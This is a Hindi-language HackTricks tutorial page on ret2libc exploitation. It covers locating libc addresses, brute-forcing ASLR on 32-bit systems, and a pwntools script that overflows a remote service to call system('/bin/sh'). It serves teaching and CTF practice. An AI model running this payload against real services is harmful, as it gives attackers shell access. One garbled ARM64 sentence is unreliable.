Ret2lib

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

Ret2Libc का सार यह है कि किसी कमजोर प्रोग्राम के execution flow को shared library के किसी function (e.g., system, execve, strcpy) की ओर मोड़ा जाए, बजाय इसके कि हमलावर द्वारा प्रदान किया गया shellcode को stack पर execute किया जाए। हमलावर एक payload तैयार करता है जो stack पर return address को बदलकर वांछित library function की ओर इशारा कराता है, और साथ ही किसी भी आवश्यक आर्गुमेंट्स को calling convention के अनुसार सही तरीके से सेट करने का इंतजाम करता है।

उदाहरणिक चरण (सरलीकृत)

  • कॉल किए जाने वाले फ़ंक्शन का पता प्राप्त करें (e.g. system) और कॉल करने के लिए कमांड (e.g. /bin/sh)
  • एक ROP chain बनाएं जो पहले आर्गुमेंट के रूप में command string की ओर इशारा करने वाला पता पास करे और निष्पादन प्रवाह को उस फ़ंक्शन की तरफ ले जाए

एड्रेस ढूँढना

  • मान लेते हैं कि उपयोग किया गया libc वर्तमान मशीन का है, तो आप यह पता लगा सकते हैं कि वह मेमोरी में कहाँ लोड होगा:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

यदि आप जांचना चाहते हैं कि ASLR libc के पते को बदल रहा है, तो आप यह कर सकते हैं:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • उपयोग किए गए libc को जानकर, system function के offset को निम्न के साथ भी पाया जा सकता है:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • इस्तेमाल की जा रही libc को जानकर /bin/sh स्ट्रिंग के फ़ंक्शन का ऑफ़सेट निम्न के साथ पाया जा सकता है:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEF का उपयोग

उपयोग की गई libc को जानकर, Peda या GEF का उपयोग करके system फ़ंक्शन, exit फ़ंक्शन और स्ट्रिंग /bin/sh के एड्रेस प्राप्त करना भी संभव है :

p system
p exit
find "/bin/sh"

/proc/<PID>/maps का उपयोग

यदि प्रक्रिया हर बार आप उससे बातचीत करते समय child processes बना रही है (network server), तो उस फ़ाइल को पढ़ने की कोशिश करें (संभवतः आपको root होना पड़ेगा)।

यहाँ आप देख सकते हैं कि प्रक्रिया के अंदर libc ठीक कहाँ लोड हुई है और हर child process के लिए कहाँ लोड होने वाली है

इस मामले में यह 0xb75dc000 में लोड है (यह libc का base address होगा)

अज्ञात libc

ऐसा संभव है कि आप नहीं जानते कि बाइनरी किस libc को लोड कर रही है (क्योंकि यह किसी server पर हो सकता है जहाँ आपका कोई access नहीं है)। उस स्थिति में आप vulnerability का दुरुपयोग करके कुछ addresses को leak कर सकते हैं और पता लगा सकते हैं कि कौन सी libc लाइब्रेरी उपयोग में है:

Leaking libc address with ROP

और आप इसके लिए एक pwntools template यहाँ पाएँगे:

Leaking libc - template

2 offsets से libc जानें

पेज https://libc.blukat.me/ देखें और libc के अंदर functions के कुछ addresses का उपयोग करके प्रयोग हो रही संस्करण का पता लगाएँ।

32 bits में ASLR को बायपास करना

ये brute-forcing attacks केवल 32bit systems के लिए उपयोगी हैं।

  • यदि exploit local है, तो आप libc के base address को brute-force करने की कोशिश कर सकते हैं (32bit systems के लिए उपयोगी):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • यदि आप किसी remote server पर हमला कर रहे हैं, तो आप burte-force the address of the libc function usleep, उसे आर्गुमेंट के रूप में 10 पास करके (उदाहरण के लिए) आज़माने की कोशिश कर सकते हैं। यदि किसी बिंदु पर server takes 10s extra to respond, तो आपने इस फ़ंक्शन का पता ढूँढ लिया है।

One Gadget

libc में केवल one विशिष्ट address पर कूदकर shell चलाएँ:

One Gadget

x86 Ret2lib Code Example

इस उदाहरण में ASLR brute-force को कोड में एकीकृत किया गया है और vulnerable binary एक remote server पर स्थित है:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Code Example

निम्न से उदाहरण देखें:

ROP & JOP

ARM64 Ret2lib Example

ARM64 के मामले में, ret instruction उस स्थान पर jump करता है जहाँ x30 registry इशारा कर रहा होता है और न कि जहाँ stack registry इशारा कर रहा होता है। इसलिए यह थोड़ा अधिक जटिल है।

इसके अलावा ARM64 में एक instruction वही करता है जो instruction करता है (instructions के बीच में jump करना और उन्हें नए में बदलना संभव नहीं है)।

निम्न से उदाहरण देखें:

Ret2lib + Printf leak - arm64

Ret-into-printf (or puts)

यह प्रक्रिया से जानकारी leak करने की अनुमति देता है, printf/puts को कुछ specific data argument के रूप में कॉल करके। उदाहरण के लिए GOT में puts का address puts के execution में डालने से memory में puts का address leak होगा।

Ret2printf

यह मूलतः Ret2lib का दुरुपयोग करके इसे printf format strings vulnerability में बदलने का मतलब है, ret2lib का उपयोग करके printf को उन मानों के साथ कॉल करना जिनसे इसे exploit किया जा सके (ऐसा बेकार सुनाई देता है पर संभव है):

Format Strings

अन्य उदाहरण & संदर्भ

  • https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
  • Ret2lib — यदि libc में किसी function के address का leak मिल गया हो, एक one gadget का उपयोग
  • https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
  • 64 bit, ASLR enabled पर no PIE — पहला कदम overflow भरना होता है जब तक canary का बाइट 0x00 न आ जाए ताकि फिर puts को कॉल करके उसे leak किया जा सके। canary के साथ एक ROP gadget बनाया जाता है जो puts को कॉल कर GOT से puts का address leak करे और फिर एक ROP gadget system('/bin/sh') को कॉल करने के लिए।
  • https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
  • 64 bits, ASLR enabled, no canary — main में child function से stack overflow। ROP gadget जो puts को कॉल करके GOT से puts का address leak करे और फिर one gadget को कॉल करे।
  • https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
  • 64 bits, no pie, no canary, no relro, nx — write function का उपयोग करके write (libc) का address leak किया जाता है और one gadget को कॉल किया जाता है।
  • https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
  • एक format string का उपयोग करके stack से canary leak किया जाता है और buffer overflow का उपयोग करके system (यह GOT में है) को /bin/sh के address के साथ कॉल किया जाता है।
  • https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
  • 32 bit, no relro, no canary, nx, pie — गलत indexing का दुरुपयोग करके stack से libc और heap के addresses leak किए जाते हैं। buffer overflow का दुरुपयोग कर ret2lib को कॉल करके system('/bin/sh') किया जाता है (एक check को bypass करने के लिए heap address की ज़रुरत होती है)।

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें